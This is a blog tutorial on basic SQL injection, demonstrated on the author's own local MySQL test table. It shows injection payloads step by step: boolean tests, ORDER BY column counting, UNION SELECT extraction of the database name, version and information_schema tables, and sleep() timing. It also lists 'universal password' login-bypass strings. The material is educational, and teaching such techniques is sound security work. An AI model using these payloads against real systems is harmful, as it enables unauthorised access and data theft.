banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

SQL Injection - Basics

Cause#

A foundational tutorial on penetration testing that has been in preparation for a long time.

After introducing basic information gathering and penetration environment setup, this officially begins.

It may take a long time to complete, but it will definitely be updated continuously.

** Declaration: The author's original intention is to share and popularize cybersecurity knowledge. If readers engage in any harmful cybersecurity behavior as a result, they bear the consequences, and it has nothing to do with the author or this website. **

Introduction to SQL Injection#

SQL Statement: SQL (Structured Query Language) is the standard language for communication with relational databases.

Query: SELECT statement FROM table WHERE condition
Delete record: DELETE FROM table WHERE condition
Update record: UPDATE table SET field=value WHERE condition
Add record: INSERT INTO table field VALUES(values)

SQL Injection:

Occurs when programmers do not validate the legitimacy of user input data while writing code, creating security vulnerabilities in the application. Users can submit a segment of database query code and obtain certain data they wish to know or perform database operations based on the results returned by the program.

SQL Injection Attack Process:

  1. Identify injection points
  2. Determine injection point types
  3. Identify database types
  4. Retrieve database data and escalate privileges

Analysis of SQL Injection Principles#

This tutorial is based on the SQL injection tutorial by the expert shack2.

I don't remember clearly because the note was created on 19-03-01:

image

Moreover, the expert shack2's blog has now been taken down, leaving only a GitHub link.

Many of the expert's tools are also very useful, which will be introduced later. In this article, there are some environments that I do not have.

I can only use the expert's images, but I can definitely understand them.

I will use the local Navicat for MySql tool and the MySql database provided by phpstudy for explanation.

I have introduced both tools earlier, which are:

  • <>
  • <<Penetration Practice Environment Setup (Long-term Update)>>

After connecting to the local mysql database with the Navicat tool, create a new database test.

In test, create a new table new:

image

Fill in the following data:

idtitlecontenttype
1I am SQL InjectionDo you know?1
2I am not SQL InjectionDon't you know yet?2

Then use the query tool to run the following statement to insert a row:

INSERT INTO test.new VALUES(3,'test','test',3)

image

Click run, refresh the new table, and find that the data has been inserted:

image

Let's do a basic query:

image

To find part of the data, we can use limit(x,y) to query y rows of data starting from the x-th row.

For example, here we query 1 row of data starting from the 0-th row (the keyword in SQL Server is top):

image

image

Numeric Injection#

We query id=1:

image

Query id=1 AND 1=2, no data:

image

At this point, we can determine that there is a SQL injection. If there is no filtering, we can perform a blind injection. Let's try or 1=1 (always true):

image

This can also be understood as:

SELECT * FROM test.new WHERE (id=1 OR 1=1)

Let's try a blind injection by directly adding a ':

image

An SQL error message is printed, indicating that error display injection is supported.

Let's try using Union, directly Union Select 1:

image

It returned an error, column mismatch, so we use order by to determine the columns:

image

Adding order by to 5 returned an error (it may also be due to no data):

image

This indicates that this table has 4 columns of data. If the original query statement is:

SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'

At this point, adding an ORDER BY may not matter:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'

image

However, sometimes if the program itself has ORDER BY, for example, if the original statement is:

SELECT * FROM test.new WHERE id=1 ORDER BY id DESC

Then we need to insert another ORDER BY at the position of 1:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC

This statement will return an error:

image

At this point, we can use # to comment out the subsequent statement (sometimes we need to consider character encoding %23, because in URLs # indicates an anchor link, directly locating to a position within the webpage):

SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC

image

Next, let's discuss how to determine whether a certain database exists. We can use the exists function:

SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)

image

Returning normally indicates that the admin table exists. MYSQL has a built-in information_schema database.

Now let's check whether information_schema.tables exists to determine if this database is a MySQL database:

image

Returning normally, we can use Union SELECT to see which column can support display (here using images from the expert's tutorial):

image

** Here, due to my poor environment, only part of the columns are displayed. In reality, many targets have multiple fields but only display part of the fields. **

This image clearly shows that the second column can be displayed, but if only one query result is supported, it is very likely that we cannot see the subsequent results.

We can negate the previous part by adding AND 1=2, so that only one of our subsequent data will be displayed:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231

image

Knowing the display position, we can do something with it. Let's first query a database:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231

image

Next, let's query a version:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231

image

We can see that the version number is 5.5.53, and now let's query all table names in the information_schema database:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables

image

The delay function can be directly sleep(10):

image

Character Injection#

We assume the test address is:

SELECT * FROM test.new WHERE type=2

image

Let's start with an AND 1=1:

image

Next, let's try 1=2:

image

We find that there is no output and no error. So what should we do? Let's analyze the characters: the original statement is:

SELECT * FROM test.new WHERE type='xxx'

Now we want to query type=2 while also adding AND 1=1:

SELECT * FROM test.new WHERE type='2' AND 1=1'

There is still a single quote at the end, so the best way is to close it with a character type:

SELECT * FROM test.new WHERE type='2' AND '1'='1'

This means our query data is: 2' AND '1'='1, which queries 2 and also adds AND 1=1:

image

The rest is similar to the numeric injection mentioned above, such as order by:

SELECT * FROM test.new WHERE type='2' ORDER BY 1

image

Union:

SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL

image

Search Injection#

The general statement is as follows:

SELECT * FROM test.new WHERE title LIKE '%xxx%'

For example:

image

We can use the program's own %' to close the previous part and then # to comment out the latter:

image

image

Since we are submitting via POST, there is no need for encoding. If it were a GET method, we would need to encode it first.

image

So we know that the query statement is '%xxx%', and we can directly search for '%' and '%'=' to close it.

Universal Password#

admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)

This essentially means closing it. For convenience in explanation, I will create an admin table in the test database with the following data:

idusernamepasswd
7testtest
8nullnull
9nullnull
10aaaxx
11aaaxx
12

image

Let's analyze this classic login statement:

SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'

image

When we want to insert or 'a' ='a' in the middle, it forms the following statement:

SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'

image

This can query successfully, and at this point, our input part is:

aaa' OR 'a'='a

This way, we can close the two quotes around username, and we can query any username's data.

The queried data will all have password as xx:

image

However, this is under the premise that the password is correct, so it is best to input it as empty:

image

We can also use the comment symbol:

SELECT * FROM test.admin WHERE username='xxx' OR 1=1#

image

This will allow us to query all data. In simple terms, it closes the previous username and keeps it true.

Then # comments out the subsequent password, and it’s OK. This is the origin of the universal password admin' or 'a'='a.

So under the condition of the universal password, as long as we know the username, we can log into the account.

When the universal password is used in the password field, the statement is as follows:

SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'

image

Because the program treats the previous part as a whole:

SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')

So this is always true, but the login part will definitely not directly SELECT *, but it can still get all results from its SELECT.

The basic principles are still quite dry. Later, I will provide some examples and simple memory techniques, so stay tuned!

The article ends here.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.